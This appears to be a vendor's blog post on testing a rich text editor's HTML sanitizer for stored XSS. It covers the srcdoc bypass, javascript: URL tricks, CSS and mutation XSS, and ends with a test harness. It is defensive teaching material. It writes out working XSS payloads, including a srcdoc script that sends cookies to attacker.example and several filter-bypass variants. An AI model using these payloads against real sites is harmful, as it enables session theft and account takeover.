We ran a battery of twenty XSS payloads through our own editor: <script>, <img onerror>, <svg onload>, javascript: links, a form with a script action, autofocus handlers, the usual list. We loaded them, waited, and checked what had fired.
Nothing had fired. Every handler was stripped, every javascript: URL rejected.
Then we took what the editor had saved — the string a host application would put in its database — and rendered it into an ordinary <div>, the way any page displaying that content would. One payload executed immediately.
The gap between those two tests is not a detail. It is the entire attack surface, and it is where stored XSS lives.
Why the editor is the wrong place to test
A rich text editor is not a rendering surface. It is a device for producing a string that some other page will render later, usually to a different person. The deployment shape is always the same:
user A types -> editor serializes -> your database
|
v
user B's browser rendersTesting inside the editor tells you about the first arrow. The vulnerability lives at the last one. Those are different environments with different rules, and the differences run in the direction that flatters the editor:
- A
<script>element inserted viainnerHTMLdoes not execute. So an editor can look clean while cheerfully storing script tags. - Editable regions often live in an iframe with its own document. Content that is inert there can be live in the parent page.
- Editors normalise markup on the way in. The thing you injected is not necessarily the thing that got saved — it might be less dangerous, or it might have been rewritten into something worse.
The only test that means anything is on the output. Serialize, then render the serialized string somewhere the editor has no involvement.
The one that got through: iframe srcdoc
Our core filter was better than we expected. It stripped every inline event handler, including ones on elements people forget about — ontoggle on <details>, onfocus with autofocus. It rejected javascript: on both href and action.
What it did not consider was that an iframe can carry its entire document in an attribute:
<iframe srcdoc="<script>fetch('https://attacker.example/'+document.cookie)</script>">There is no handler here. There is no javascript: URL. There is no <script> element in the markup — it is HTML-escaped text inside an attribute value, which every naive filter walks straight past. The browser unescapes it and treats it as a document when the iframe is inserted.
Inside our editor it did nothing. Rendered downstream it ran, in the host page’s origin, with the host page’s cookies.
Two others survived alongside it: <object data="javascript:...">, and <style> blocks. The style block is the one people wave away. It should not be — CSS injection can exfiltrate data through attribute selectors and background image requests, overlay the page to redress clicks, and hide or fake UI. It does not need script to be a problem.
Allowlist, and unwrap rather than delete
The fix is an allowlist. A blocklist is a promise to have anticipated every element and attribute HTML will ever gain; <details ontoggle> and srcdoc are both things that did not exist when many editor filters were written.
One refinement matters for a writing tool. When an element is not on the allowlist, there are two options:
// Delete it and everything inside:
el.remove();
// Or keep the children and drop only the element:
while (el.firstChild) el.parentNode.insertBefore(el.firstChild, el);
el.parentNode.removeChild(el);For genuinely dangerous elements — script, object, embed, base, meta— delete outright, because their contents are markup and not prose. For anything merely unrecognised, unwrap. An unknown tag wrapping three paragraphs of a user’s writing should cost them the tag, not the writing. Silent data loss in an editor is its own kind of bug.
URL checks that a tab character defeats
The obvious scheme check is wrong:
if (/^javascript:/i.test(url)) reject(); // trivially bypassedBecause browsers strip control characters before parsing a URL scheme, all of these are live:
java	script:alert(1) // tab
java script:alert(1) // newline
javascript:alert(1) // leading whitespace
java\u0000script:alert(1) // NUL in some parsersStrip first, then test — and it is worth being generous about what counts as strippable, including the C1 range:
const v = String(url).replace(/[\u0000-\u0020\u007F-\u00A0]+/g, "").trim();A related trap: write that character class as escapes. We first typed it with the literal characters, which are invisible in an editor and turned the source file into something grep reported as a binary file. Escapes are not just tidier here, they are the difference between a reviewable diff and an unreviewable one.
And be careful which schemes you consider safe for which elements. data:image/png;base64,... on an <img> is fine. data:image/svg+xml is not— an SVG is a document, and a document can carry script. It fails an “is this an image type?” check by passing it.
Filter style per declaration, not per fragment
The style attribute cannot simply be dropped; it is how almost all editor formatting is expressed. So it has to be filtered — and the natural approach is to strip the dangerous substrings:
value.replace(/javascript:/gi, "") // looks reasonableThis is worse than doing nothing, because it manufactures a value that passes your next check:
background: url(javascript:steal())
-> background: url(steal()) // no scheme, reads as relative, allowedNested parentheses break surgical removal too:
width: expression(alert(1))
// /expression\s*\([^)]*\)/ stops at the INNER ")"
-> width: ) // debris, and the intent survived the attemptSplit on ; and drop the whole declaration if anything in it is suspect. Sibling declarations are untouched, the output is valid CSS, and there is no rewritten value left behind to fool a later check:
color: red; width: expression(alert(1)); height: 10px
-> color: red; height: 10pxMutation XSS: sanitize until it stops changing
A parser and a serializer do not always round-trip. Some markup is inert when parsed, and dangerous once the serializer has rewritten it — so content that was clean when you inspected it becomes an attack when the browser next reads your output. This is mutation XSS, and it is why one pass is not enough:
let out = html;
for (let pass = 0; pass < 3; pass++) {
const doc = new DOMParser().parseFromString("<body>" + out + "</body>", "text/html");
sanitize(doc.body);
const next = doc.body.innerHTML;
if (next === out) break; // stable: parsing it again changes nothing
out = next;
}Note DOMParser rather than assigning to a live element’s innerHTML. An inert document does not load resources or run handlers. Assigning hostile markup to a live node fires <img onerror> before the first line of your sanitizer runs, which is a memorable way to discover the distinction.
The test that matters as much as the attack test
A sanitizer that breaks the product is not a sanitizer anyone keeps enabled. Ours initially stripped two attributes it should not have, and both were caught by a compatibility suite rather than a security one:
contenteditable. It executes nothing. It is also what makes a footnote marker, merge field or smart chip atomic — remove it and those become editable character by character, which looks like a completely unrelated bug reported weeks later.sandbox. It is a restriction, never a capability. Stripping it makes an embed strictly more powerful — a sanitizer actively reducing security.
So write both suites. One asserts nothing dangerous survives; the other asserts a realistic document — headings, styled spans, nested lists, tables with header cells, tracked changes, comments, RTL text, images, embeds — comes back unchanged.
Embeds: the honest compromise
Blanket-removing <iframe> is the secure answer and it breaks every video embed your users have already published. An injected iframe cannot script the parent — it is cross-origin — but it can navigate the top window, open popups and submit forms, which is enough for phishing.
A defensible default is to keep https frames and force a sandbox granting what a video embed needs and nothing more:
sandbox="allow-scripts allow-same-origin allow-presentation"
// withheld: allow-top-navigation, allow-popups, allow-modals, allow-formsA host allowlist is stronger and should be offered. But a default that silently breaks working documents tends to get switched off entirely, and a disabled sanitizer protects nobody.
What client-side sanitization is not
It runs in the browser. Anything that runs in the browser can be skipped by a client that simply does not run it — an attacker POSTs the payload to your API directly and never loads your JavaScript at all.
So this is defence in depth. It protects the honest path, cleans legacy content on its next save, and closes the specific hole where the editor is the thing producing dangerous output. It does not make untrusted HTML safe to render. Sanitize on the server before you store, and escape on output.
Any vendor telling you their client-side sanitizer means you can skip that is selling you something.
Run this against your own editor
Ten minutes, no tooling. It works against any editor, including ours:
window.fired = [];
window.probe = (t) => window.fired.push(t);
editor.setHTMLCode([
'<iframe srcdoc="<script>parent.probe(1)</script>"></iframe>',
'<img src=x onerror="probe(2)">',
'<a href="java	script:probe(3)">x</a>',
'<object data="javascript:probe(4)"></object>',
'<style>@import "javascript:probe(5)";</style>',
'<svg><use xlink:href="javascript:probe(6)"/></svg>',
'<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9InByb2JlKDcpIi8+">',
'<div style="background:url(javascript:probe(8))">x</div>',
].join(""));
// The step most tests skip:
const saved = editor.getHTMLCode();
const host = document.createElement("div");
document.body.appendChild(host);
host.innerHTML = saved;
setTimeout(() => console.log("fired downstream:", window.fired, saved), 1000);Read both outputs. fired should be empty — but also read saved, because something that survives without executing today executes the moment that content reaches a context with slightly different rules. An email template. A PDF renderer. A mobile webview. A future browser.
We found one live issue in our own editor doing exactly this, and we would rather write that down than discover it in someone else’s incident report.
RichTextEditor is a perpetual-licence JavaScript editor — one purchase, self-hosted, no metered editor loads. Download the evaluation or see how it compares.